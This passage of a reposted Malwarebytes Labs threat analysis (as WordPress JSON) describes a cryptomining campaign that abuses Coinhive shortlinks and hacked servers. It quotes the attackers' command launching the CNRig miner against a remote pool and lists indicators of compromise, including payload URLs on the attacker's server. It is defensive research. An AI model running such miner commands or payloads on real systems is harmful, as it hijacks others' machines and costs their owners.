compromised sites responsible for ELF miner download<\/em><\/p>\n<p>Once it has retrieved the ELF binary, it runs it, using the following command in order to begin mining:<\/p>\n<pre>.\/cnrig -o 5.61.46[.]146:80 --donate-level=1 &gt; \/dev\/null 2&gt;&amp;1  <\/pre>\n<h3>Proxies<\/h3>\n<p>Because the miners are connecting to private pools (and likely via proxy) without using a wallet address, we cannot assess how much money the perpetrators have generated with this scheme.<\/p>\n<p>In fact, the server at 5.45.79[.]15 also has its own <a href=\"https:\/\/github.com\/krasniykrd\/proxypanel\" target=\"_blank\" rel=\"noopener\">ProxyPanel<\/a>:<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/proxy__.png\" data-rel=\"lightbox-11\" title=\"\"><img loading=\"lazy\" decoding=\"async\" data-attachment-id=\"24389\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/attachment\/proxy__\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/proxy__.png\" data-orig-size=\"1008,435\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"proxy__\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/proxy__-300x129.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/proxy__-600x259.png\" class=\"size-full wp-image-24389 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/proxy__.png\" alt=\"\" width=\"1008\" height=\"435\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/proxy__.png 1008w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/proxy__-300x129.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/proxy__-600x259.png 600w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/06\/proxy__-195x85.png 195w\" sizes=\"auto, (max-width: 1008px) 100vw, 1008px\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><em>Figure 12: A proxy based on\u00a0<span lang=\"en\">xmrig-proxy<\/span><\/em><\/p>\n<p>The XMRig version of the miner had a public stats page indicating that there were close to 500 infected machines that had participated in the mining activity. For the CNRig version, we weren&#8217;t able to find any such stat, although the number of hacked servers was much higher.<\/p>\n<h3>A growing number of sites<\/h3>\n<p>The interest surrounding cryptocurrencies has drastically changed the malware landscape with criminals hoping to get a piece of the action. As such, a growing number of websites are being compromised both client- and server-side to distribute and run coin miners.<\/p>\n<p>In this campaign, we see infrastructure used to push an XMRig miner onto users by tricking them into downloading files they were searching for online. In the meantime, hacked servers are instructed to download and run a Linux miner, generating profits for the perpetrators but incurring costs for their owners. Finally, it seems only fitting to see an abuse of Coinhive&#8217;s shortlinks to perform in-browser mining.<\/p>\n<p><a href=\"https:\/\/www.malwarebytes.com\/\" target=\"_blank\" rel=\"noopener\">Malwarebytes<\/a> blocks malicious mining, whether it is triggered by malware or loaded via compromised websites.<\/p>\n<p><em>Thanks to <a href=\"https:\/\/twitter.com\/DynamicAnalysis\" target=\"_blank\" rel=\"noopener\">@DynamicAnalysis<\/a> for sharing additional information.<\/em><\/p>\n<h3>Indicators of compromise<\/h3>\n<p>String for obfuscated cnvh[.]co injection<\/p>\n<pre>vhisduhvuhiusdhfbjhewvhisdhbybguyebrrfsd<\/pre>\n<p>Coinhive shortlink<\/p>\n<pre>cnhv[.]co\/3h2b2<\/pre>\n<p>Coinhive site key<\/p>\n<pre>Dkpy5v4CBgwZqzPRosdHKDB7DQsc1Sav<\/pre>\n<p>Regex for compromised sites redirection<\/p>\n<pre>\/(w{4}|w{8})\/(w{5}|w{9}).php?([a-z]{6}|[a-z]{3})=[w]{1,25}-[w]{1,25}<\/pre>\n<p>Redirection server<\/p>\n<pre>5.45.79[.]15<\/pre>\n<p>Windows miner dropper<\/p>\n<pre>5.45.79[.]15\/xxxphoto.exe  38f55239519523638dc2b3958f5e9951a6b04f813336927a4f7de717518e5b44<\/pre>\n<p>Linux miner<\/p>\n<pre>5.45.79[.]15\/monero\/cnrig  c890d18fe3753a9ea4d026fc713247a9b83070b6fe40539779327501916be031<\/pre>\n<p>The post <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/\">Obfuscated Coinhive shortlink reveals larger mining operation<\/a> appeared first on <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\">Malwarebytes Labs<\/a>.<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/\" target=\"bwo\" >https:\/\/blog.malwarebytes.com\/feed\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><strong>Credit to Author: J\u00e9r\u00f4me Segura| Date: Tue, 03 Jul 2018 15:00:00 +0000<\/strong><\/p>\n<table cellpadding='10'>\n<tr>\n<td valign='top' align='center'><a href='https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/' title='Obfuscated Coinhive shortlink reveals larger mining operation'><img src='https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/07\/Banner_.jpg' border='0'  width='300px'  \/><\/a><\/td>\n<\/tr>\n<tr>\n<td valign='top' align='left'>A web miner injected into compromised sites is just the tip of the iceberg for an infrastructure hosting malicious Windows and Linux coin miners.<\/p>\n<p>Categories: <\/p>\n<ul class=\"post-categories\">\n<li><a href=\"https:\/\/blog.malwarebytes.com\/category\/threat-analysis\/cryptomining\/\" rel=\"category tag\">Cryptomining<\/a><\/li>\n<li><a href=\"https:\/\/blog.malwarebytes.com\/category\/threat-analysis\/\" rel=\"category tag\">Threat analysis<\/a><\/li>\n<\/ul>\n<p>Tags: <a href=\"https:\/\/blog.malwarebytes.com\/tag\/cnhv\/\" rel=\"tag\">cnhv<\/a><a href=\"https:\/\/blog.malwarebytes.com\/tag\/coinhive\/\" rel=\"tag\">coinhive<\/a><a href=\"https:\/\/blog.malwarebytes.com\/tag\/mining\/\" rel=\"tag\">mining<\/a><a href=\"https:\/\/blog.malwarebytes.com\/tag\/monero\/\" rel=\"tag\">monero<\/a><a href=\"https:\/\/blog.malwarebytes.com\/tag\/shortlinks\/\" rel=\"tag\">shortlinks<\/a><\/p>\n<table width='100%'>\n<tr>\n<td align=right>\n<p><b>(<a href='https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/' title='Obfuscated Coinhive shortlink reveals larger mining operation'>Read more&#8230;<\/a>)<\/b><\/p>\n<\/td>\n<\/tr>\n<\/table>\n<\/td>\n<\/tr>\n<\/table>\n<p>The post <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2018\/07\/obfuscated-coinhive-shortlink-reveals-larger-mining-operation\/\">Obfuscated Coinhive shortlink reveals larger mining operation<\/a> appeared first on <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\">Malwarebytes Labs<\/a>.<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10488,10378],"tags":[18895,15078,15080,901,10538,18896,10494],"class_list":["post-12727","post","type-post","status-publish","format-standard","hentry","category-malwarebytes","category-security","tag-cnhv","tag-coinhive","tag-cryptomining","tag-mining","tag-monero","tag-shortlinks","tag-threat-analysis"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/12727","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=12727"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/12727\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=12727"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=12727"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=12727"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}